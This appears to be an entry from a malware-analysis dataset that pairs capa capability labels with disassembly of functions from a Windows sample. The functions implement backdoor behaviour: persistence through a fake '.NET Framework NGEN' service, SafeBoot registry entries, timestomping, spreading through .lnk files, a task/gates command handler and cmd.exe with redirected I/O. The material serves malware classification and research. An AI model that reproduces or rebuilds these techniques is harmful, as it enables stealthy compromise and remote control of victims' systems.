joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403bd5
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x40
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41a458
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
mov esi, str.cmd.exe
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push ebx
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403c58
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403e13
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x41a660]
mov ecx, dword [0x41a664]
sub esp, 0x10
push ebx
push esi
xor esi, esi
xor edx, edx
push edi
cmp eax, esi
jbe 0x403e3c
mov edi, dword [ecx + edx*4]
cmp edi, dword [ebp + 8]
je 0x403eb2
inc edx
cmp edx, eax
jb 0x403e2f
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402393
mov edx, dword [0x41a660]
inc dword [0x41a660]
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
push esi
push esi
push 4
push esi
push esi
push 0x40000000
push 0x41a668
mov dword [0x41a664], eax
mov dword [eax + edx*4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403eb2
push 2
push esi
mov dword [ebp - 0xc], esi
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp + 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403eb7
Capabilities:
Create thread
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402154
mov dword [ebp - 8], eax
test eax, eax
je 0x404097
mov esi, str.type
push esi
push eax
mov ebx, str.task_result
call fcn.004020d1
call fcn.00402ee8
mov edi, 0x407a90
push edi
push dword [ebp - 8]
mov ebx, eax
call fcn.004020d1
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
cdq
push edx
push eax
push str.task_id
push dword [ebp - 8]
call fcn.0040209f
push str.port1
mov ecx, edi
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
push esi
mov ecx, edi
movzx ebx, ax
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
mov dword [ebp - 0x14], eax
sub eax, 0x64
je 0x404043
dec eax
je 0x40403b
dec eax
je 0x403fea
dec eax
je 0x40403b
dec eax
je 0x403fe3
dec eax
je 0x403fc9
dec eax
dec eax
jne 0x404097
push str.gates
mov ecx, edi
call fcn.00401f42
mov edi, eax
pop ecx
test edi, edi
je 0x404097
mov eax, dword [edi + 8]
xor ebx, ebx
jmp 0x403f90
mov eax, dword [eax]
inc ebx
test eax, eax
jne 0x403f8d
xor esi, esi
test ebx, ebx
je 0x404097
test esi, esi
jns 0x403fa6
xor eax, eax
jmp 0x403fb1
push esi
mov eax, edi
call fcn.00401f26
add esp, 4
mov ecx, eax
call section..text
push eax
call fcn.00403e13
inc esi
pop ecx
cmp esi, ebx
jb 0x403f9e
jmp 0x404097
push ebx
push dword [ebp + 0xc]
push edi
call fcn.00403077
add esp, 0xc
test al, al
je 0x404097
call fcn.00403b8f
push 1
call fcn.00403380
lea eax, [ebp - 4]
push eax
push 0x20119
xor esi, esi
push esi
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push closesocket
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404035
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push str.PortNumber
push dword [ebp - 4]
mov dword [ebp - 0x10], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, word [ebp - 0xc]
jmp 0x40405c
and dword [ebp - 4], 0
xor esi, esi
jmp 0x40405f
push str.port2
mov ecx, edi
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
movzx eax, ax
xor esi, esi
mov dword [ebp - 4], eax
push esi
push 0xc
pop edi
call fcn.0040231c
pop ecx
mov cx, word [ebp - 4]
push esi
push esi
push eax
mov word [eax + 2], cx
mov ecx, dword [ebp + 0xc]
push 0x403d29
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x14]
push esi
push esi
mov word [eax], bx
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4042a9
Capabilities:
Check mutex on windows
Extract resource via kernel32 functions
Get file size
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x59c
push ebx
push esi
push edi
lea eax, [esp + 0x1a8]
push eax
push dword [ebp + 8]
call fcn.00403050
pop ecx
pop ecx
lea eax, [esp + 0x1a8]
push eax
xor edi, edi
push edi
push 0x42b094
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x4044ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4044ac
call fcn.00406898
mov esi, eax
cmp esi, edi
je 0x404317
push esi
call fcn.00402946
pop ecx
push esi
mov dword [0x42ae6c], eax
call fcn.0040241e
pop ecx
push edi
mov esi, 0x41a668
push esi
push 0x400
push str..common_1.dll
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0x14
mov dword [0x41a660], 5
call fcn.00402384
pop ecx
mov ecx, dword [0x41a660]
mov dword [0x41a664], eax
cmp ecx, edi
jbe 0x404361
mov edx, 0x40a004
sub edx, eax
mov ebx, dword [edx + eax]
mov dword [eax], ebx
add eax, 4
dec ecx
jne 0x404356
push edi
push edi
push 4
push edi
push edi
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x404400
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
jmp 0x4043f2
push edi
lea eax, [esp + 0x18]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x41a660]
sub esi, dword [esp + 0x14]
mov ecx, dword [0x41a664]
xor edx, edx
cmp eax, edi
jbe 0x4043ca
mov ebx, dword [ecx + edx*4]
cmp ebx, dword [esp + 0xc]
je 0x4043f2
inc edx
cmp edx, eax
jb 0x4043bc
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402393
mov edx, dword [0x41a660]
inc dword [0x41a660]
pop ecx
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [0x41a664], eax
mov dword [eax + edx*4], ecx
cmp esi, edi
jne 0x40438c
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, edi
je 0x404461
push 0x10
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x40445a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x40445a
mov cx, word [eax + 0x32]
mov word [0x41a450], cx
mov cx, word [eax + 0x30]
mov word [0x41a452], cx
mov cx, word [eax + 0x36]
mov word [0x41a454], cx
mov ax, word [eax + 0x34]
mov word [0x41a456], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [0x41a660], edi
jbe 0x4044a3
mov eax, dword [0x41a664]
push dword [eax + esi*4]
call fcn.0040409f
pop ecx
test al, al
jne 0x4044a3
push 0x3e8
call ebx
inc esi
cmp esi, dword [0x41a660]
jb 0x404481
push 0xea60
call ebx
jmp 0x404477
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404856
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
push ebx
push esi
push edi
mov esi, 0x42b0a0
push esi
lea eax, [esp + 0x18]
xor ebx, ebx
push str._s.lnk
push eax
mov byte [esp + 0x1b], bl
mov dword [esp + 0x20], ebx
call fcn.00402b4e
add esp, 0xc
test eax, eax
je 0x404928
push ebx
mov edi, 0xfffe
call fcn.0040231c
pop ecx
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x40491e
push ebx
call fcn.0040231c
mov edi, eax
pop ecx
cmp edi, ebx
je 0x404914
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40490d
lea eax, [esp + 0x44]
push eax
push esi
push str._s_s
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push dword [esp + 0x28]
call fcn.004047a7
add esp, 0x1c
test al, al
jne 0x404901
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4048c6
jmp 0x404906
mov byte [esp + 0xf], 1
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040241e
pop ecx
push dword [esp + 0x10]
call fcn.0040241e
pop ecx
push dword [esp + 0x14]
call fcn.0040241e
pop ecx
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404a76
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
mov ebx, 0x42b0a0
push ebx
lea eax, [ebp - 4]
push str._s.lnk
xor esi, esi
push eax
mov dword [ebp - 4], esi
call fcn.00402b4e
add esp, 0xc
cmp dword [ebp - 4], esi
je 0x404b48
push esi
mov edi, 0xfffe
call fcn.0040231c
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x404b3f
push esi
call fcn.0040231c
mov edi, eax
pop ecx
cmp edi, esi
je 0x404b36
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x404b2f
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x234]
push eax
push ebx
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push str.shit
push esi
call fcn.004047a7
add esp, 0x1c
test al, al
je 0x404b12
call fcn.004061d5
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404ae3
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040241e
pop ecx
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404c4b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push dword [ebp + 8]
lea ebx, [ebp - 0x210]
call fcn.00406333
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402b4e
mov esi, eax
add esp, 0x10
add esi, esi
je 0x404ce9
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [ebx + 0x40a310]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404cd8
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00404b4d
add esp, 0xc
test al, al
jne 0x404ccf
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 4
cmp ebx, 8
jb 0x404c84
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x404d60
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
push 0x408998
call fcn.00406a50
mov esi, ecx
push esi
call fcn.00404856
pop ecx
test al, al
jne 0x404a70
xor edi, edi
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x407330
push 1
push edi
push 0x407340
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x404a70
push esi
lea ebx, [ebp - 0x238]
call fcn.00406333
push edi
mov edi, 0xfffe
call fcn.0040231c
pop ecx
pop ecx
mov edi, eax
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cmp edi, ebx
je 0x404a67
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x238]
push eax
push 0x42b0a0
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402b4e
add esp, 0x1c
test eax, eax
je 0x404a5e
push 6
push esi
call fcn.0040621c
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x404a0a
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x407350
push eax
call dword [ecx]
test eax, eax
js 0x404a42
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x404a42
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
je 0x404a55
push dword [ebp - 0x20]
call fcn.0040241e
pop ecx
push dword [ebp - 0x28]
call fcn.0040241e
pop ecx
push dword [ebp - 0x2c]
call fcn.0040241e
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.00406a8b
ret
xor eax, eax
cmp word [0x42b0a0], ax
jne 0x404d7e
push 0x42b0a0
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404c4b
pop ecx
mov ecx, dword [esp + 4]
jmp 0x404933
Function at 0x404fe0
Capabilities:
Read file via mapping
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
or edi, 0xffffffff
mov dword [ebp - 8], esi
cmp esi, edi
je 0x405202
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4051e7
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x4051de
mov esi, dword [eax + 0x3c]
add esi, eax
movzx eax, word [esi + 4]
cmp eax, 0x14c
je 0x405125
cmp eax, 0x8664
jne 0x4051d5
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x28], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x30], eax
mov eax, edi
mov dword [esi + 0x34], ebx
call fcn.004024f9
mov dword [esi + 0xb4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xb0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x94], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x90], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xe4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xe0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xec], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xe8], eax
jmp 0x4051d5
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x28], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x34], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x94], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x90], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xc4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xc0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x84], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x80], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xdc], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd8], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40554e
Capabilities:
Delete service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 1
call fcn.00402e18
pop ecx
test al, al
je 0x405564
mov al, 1
leave
ret
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4055f2
push edi
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
je 0x4055e8
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4055d9
cmp dword [ebp - 0x1c], 4
je 0x4055f7
cmp dword [ebp - 0x1c], 2
je 0x4055f7
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x4055d9
xor esi, esi
push 1
call fcn.00402e18
pop ecx
test al, al
jne 0x4055f7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x3c
jl 0x4055bc
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
leave
ret
mov bl, 1
jmp 0x4055e0

Function at 0x4055fb
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push edi
lea eax, [ebp - 0xc]
push eax
mov edi, 0x2011f
push edi
xor ebx, ebx
push ebx
push str.SYSTEMCurrentControlSetControlSafeBoot
push closesocket
call esi
test eax, eax
jne 0x405692
lea eax, [ebp - 8]
push eax
push edi
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x405689
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x20106
push ebx
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x405680
mov esi, str.Service
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x12
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push 1
movsd dword es:[edi], dword [esi]
push ebx
push dword [ebp - 4]
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405697
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4057dd
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
mov eax, 0xffff
call fcn.004024f9
movzx edi, ax
call fcn.0040661c
test al, al
push edi
lea eax, [ebp - 0x240]
je 0x4056f0
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x4056fe
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x448]
push eax
call esi
add esp, 0x18
push 0x40841c
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x448]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4056c3
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x240]
push str.Minimal
push eax
call fcn.004055fb
lea eax, [ebp - 0x240]
push str.Network
push eax
call fcn.004055fb
add esp, 0x10
pop edi
pop esi
mov al, bl
pop ebx
leave
ret